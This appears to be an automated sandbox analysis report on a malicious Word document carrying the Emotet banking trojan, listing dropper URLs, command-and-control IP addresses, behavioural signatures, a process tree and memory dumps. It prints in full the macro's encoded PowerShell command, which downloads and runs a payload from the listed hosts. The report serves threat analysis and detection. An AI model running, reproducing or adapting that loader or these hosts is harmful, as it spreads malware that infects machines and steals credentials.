Overview

overview

10

Static

static

8

doc_20200903_6155.doc

windows7_x64

10

doc_20200903_6155.doc

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    03/09/2020, 18:39

Sharing

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Report Analysis Logs

General

  • Target
    doc_20200903_6155.doc
  • Size 260KB
  • Sample200903-vaeqbs7e1x
  • SHA256 5df80bddf0952d4068c9d2bdab9045f148de414681c96277199b4b06253b1cac
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://alemelektronik.com/wp-admin/A/
  • exe.dropper

    http://asn-espirulina.com/wp-admin/6hU/
  • exe.dropper

    http://accemarbeyal.com/wp-includes/meR/
  • exe.dropper

    http://somosdrucken.com/upload/Wvv/
  • exe.dropper

    http://ballatstone.com/ballatstone.com/Dy0/
  • exe.dropper

    http://marmi.seoper.beget.tech/fonts/Aoa/
  • exe.dropper

    https://aselsa.com/wp-includes/0T/

Extracted

Family

  • emotet

C2

  • 50.121.220.50:80

  • 51.75.33.122:80

  • 54.37.42.48:8080

  • 91.121.54.71:8080

  • 45.16.226.117:443

  • 68.69.155.181:80

  • 213.60.96.117:80

  • 77.55.211.77:8080

  • 152.169.22.67:80

  • 110.142.219.51:80

  • 2.47.112.152:80

  • 206.15.68.237:443

  • 217.13.106.14:8080

  • 191.99.160.58:80

  • 189.131.57.131:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 61.92.159.208:8080

  • 190.128.173.10:80

  • 219.92.8.17:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\doc_20200903_6155.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1752
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABVAHoAMgBzAGMAXwBxAD0AKAAoACcAWABiADAAJwArACcAYgBoACcAKQArACcAMAAzACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAGUAUgBwAFIATwBGAGkAbABFAFwAWQBxADEARgAwADkATQBcAEkAbgBZAGMAUAA2AFAAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAVQBSAGkAVAB5AFAAcgBPAFQAYABvAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAJwApACsAKAAnADEAMgAsACcAKwAnACAAdAAnACkAKwAnAGwAJwArACcAcwAnACsAKAAnADEAMQAnACsAJwAsACAAdABsAHMAJwApACkAOwAkAEcAawB2AGEAegB1AF8AIAA9ACAAKAAoACcAQwBwAGMAJwArACcAXwAnACkAKwAoACcAMAB3ACcAKwAnAHQAJwApACkAOwAkAE8ANgBwAHIANwBqAHIAPQAoACcAVwA5ACcAKwAoACcAaQAnACsAJwBhADQAJwApACsAJwBzAHYAJwApADsAJABUADgAawAyADYAdABsAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAQQAnACsAJwBOADcAJwApACsAJwBZACcAKwAoACcAcQAxAGYAMAAnACsAJwA5AG0AJwApACsAJwBBACcAKwAoACcATgA3ACcAKwAnAEkAbgB5ACcAKQArACgAJwBjACcAKwAnAHAANgBwAEEAJwApACsAJwBOADcAJwApAC4AIgBSAGUAYABwAEwAQQBDAEUAIgAoACgAWwBjAGgAYQByAF0ANgA1ACsAWwBjAGgAYQByAF0ANwA4ACsAWwBjAGgAYQByAF0ANQA1ACkALAAnAFwAJwApACkAKwAkAEcAawB2AGEAegB1AF8AKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABBAHUAagA5ADAAbABoAD0AKAAnAFEAJwArACgAJwBnADAAYQAnACsAJwA0ACcAKwAnAHAAegAnACkAKQA7ACQASQB0AGgAcgBwAG0AMgA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAFQALgB3AEUAQgBjAEwAaQBFAG4AVAA7ACQAUwBoADgAaQBtADQAMAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcALwAnACsAJwAvAGEAJwApACsAKAAnAGwAJwArACcAZQBtACcAKQArACgAJwBlAGwAJwArACcAZQAnACkAKwAoACcAawAnACsAJwB0AHIAbwBuACcAKwAnAGkAawAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAHcAcAAtACcAKwAnAGEAZABtAGkAbgAnACkAKwAnAC8AJwArACgAJwBBAC8AKgBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvACcAKwAnAGEAcwBuAC0AZQBzAHAAJwApACsAKAAnAGkAcgAnACsAJwB1ACcAKQArACgAJwBsAGkAJwArACcAbgBhAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkAG0AJwArACcAaQAnACkAKwAnAG4ALwAnACsAJwA2AGgAJwArACgAJwBVAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAoACcAcAA6AC8ALwBhAGMAYwAnACsAJwBlACcAKwAnAG0AYQAnACkAKwAoACcAcgBiACcAKwAnAGUAeQBhAGwAJwApACsAKAAnAC4AJwArACcAYwBvACcAKwAnAG0ALwB3ACcAKQArACgAJwBwACcAKwAnAC0AaQBuAGMAbAAnACsAJwB1ACcAKQArACcAZABlACcAKwAoACcAcwAvACcAKwAnAG0AZQAnACkAKwAnAFIAJwArACgAJwAvACoAJwArACcAaAB0ACcAKQArACcAdAAnACsAKAAnAHAAOgAnACsAJwAvACcAKQArACgAJwAvAHMAbwAnACsAJwBtACcAKQArACgAJwBvACcAKwAnAHMAZAByAHUAYwBrAGUAJwArACcAbgAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvAHUAcABsAG8AYQAnACsAJwBkACcAKQArACgAJwAvAFcAdgAnACsAJwB2AC8AKgBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6ACcAKwAnAC8ALwBiAGEAJwApACsAKAAnAGwAbABhACcAKwAnAHQAJwApACsAJwBzACcAKwAnAHQAbwAnACsAJwBuAGUAJwArACgAJwAuAGMAbwBtAC8AYgAnACsAJwBhAGwAJwArACcAbABhACcAKwAnAHQAJwApACsAKAAnAHMAdABvAG4AJwArACcAZQAnACkAKwAoACcALgBjAG8AJwArACcAbQAvAEQAeQAwAC8AJwArACcAKgBoACcAKQArACgAJwB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwAvACcAKwAnAC8AbQAnACkAKwAnAGEAcgAnACsAKAAnAG0AaQAuAHMAZQAnACsAJwBvACcAKQArACgAJwBwACcAKwAnAGUAcgAuAGIAJwArACcAZQBnACcAKQArACgAJwBlAHQALgAnACsAJwB0AGUAYwBoACcAKwAnAC8AZgBvAG4AJwApACsAJwB0AHMAJwArACgAJwAvAEEAJwArACcAbwBhAC8AJwArACcAKgBoAHQAdAAnACsAJwBwAHMAJwArACcAOgAvACcAKwAnAC8AYQBzACcAKQArACcAZQBsACcAKwAoACcAcwBhAC4AJwArACcAYwAnACsAJwBvACcAKwAnAG0ALwB3AHAALQBpACcAKQArACcAbgAnACsAKAAnAGMAbAAnACsAJwB1AGQAZQBzAC8AMABUACcAKwAnAC8AJwApACkALgAiAHMAcABgAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARQAwADkAaAB1ADAAawA9ACgAJwBPACcAKwAnAHYAaAAnACsAKAAnAGsAJwArACcAMgAyAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAGQAYwBfAHEAegAyACAAaQBuACAAJABTAGgAOABpAG0ANAAwACkAewB0AHIAeQB7ACQASQB0AGgAcgBwAG0AMgAuACIARABgAE8AdwBgAE4ATABgAE8AQQBEAEYAaQBMAEUAIgAoACQAQQBkAGMAXwBxAHoAMgAsACAAJABUADgAawAyADYAdABsACkAOwAkAFYAZQBfAHAAbgB3ADUAPQAoACgAJwBSAGMAJwArACcANgAnACkAKwAnAHoAJwArACgAJwBrAHIAJwArACcAdgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABUADgAawAyADYAdABsACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMgA4ADcAOAAyACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2ACcAKwAnAG8AawBlAC0ASQB0AGUAbQAnACkAKAAkAFQAOABrADIANgB0AGwAKQA7ACQAQgA1ADYAdQBvAG8AYwA9ACgAKAAnAFAAbgAnACsAJwBvACcAKQArACgAJwBlACcAKwAnADgAdwA2ACcAKQApADsAYgByAGUAYQBrADsAJABKAGcAegBxAGsANQB1AD0AKAAnAFIAdAAnACsAKAAnAHIAZAAnACsAJwB2AG4AJwApACsAJwBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVABjAHoAOQA0AGMAcAA9ACgAJwBZACcAKwAoACcAZgAyACcAKwAnAGkAcQAnACkAKwAnAGYAMgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:280
    • C:\Users\Admin\Yq1f09m\Inycp6p\Cpc_0wt.exe
      "C:\Users\Admin\Yq1f09m\Inycp6p\Cpc_0wt.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:340
      • C:\Windows\SysWOW64\msimg32\KBDFR.exe
        "C:\Windows\SysWOW64\msimg32\KBDFR.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:684

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/280-8-0x000007FEF1EA0000-0x000007FEF288C000-memory.dmp
        Download

        memory/280-13-0x000000001B5D0000-0x000000001B5D1000-memory.dmp
        Download

        memory/280-14-0x000000001B9F0000-0x000000001B9F1000-memory.dmp
        Download

        memory/280-9-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/280-10-0x000000001AC60000-0x000000001AC61000-memory.dmp
        Download

        memory/280-11-0x00000000023B0000-0x00000000023B1000-memory.dmp
        Download

        memory/280-12-0x00000000024E0000-0x00000000024E1000-memory.dmp
        Download

        memory/340-17-0x0000000000230000-0x000000000023C000-memory.dmp
        Download

        memory/684-21-0x0000000000240000-0x000000000024C000-memory.dmp
        Download

        memory/980-22-0x000007FEF37A0000-0x000007FEF3A1A000-memory.dmp
        Download

        memory/1752-2-0x0000000008920000-0x0000000008924000-memory.dmp
        Download

        memory/1752-6-0x0000000006D10000-0x0000000006F10000-memory.dmp
        Download

        memory/1752-5-0x000000000AD40000-0x000000000AD44000-memory.dmp
        Download

        memory/1752-4-0x0000000006D10000-0x0000000006F10000-memory.dmp
        Download

        memory/1752-3-0x0000000006D10000-0x0000000006F10000-memory.dmp
        Download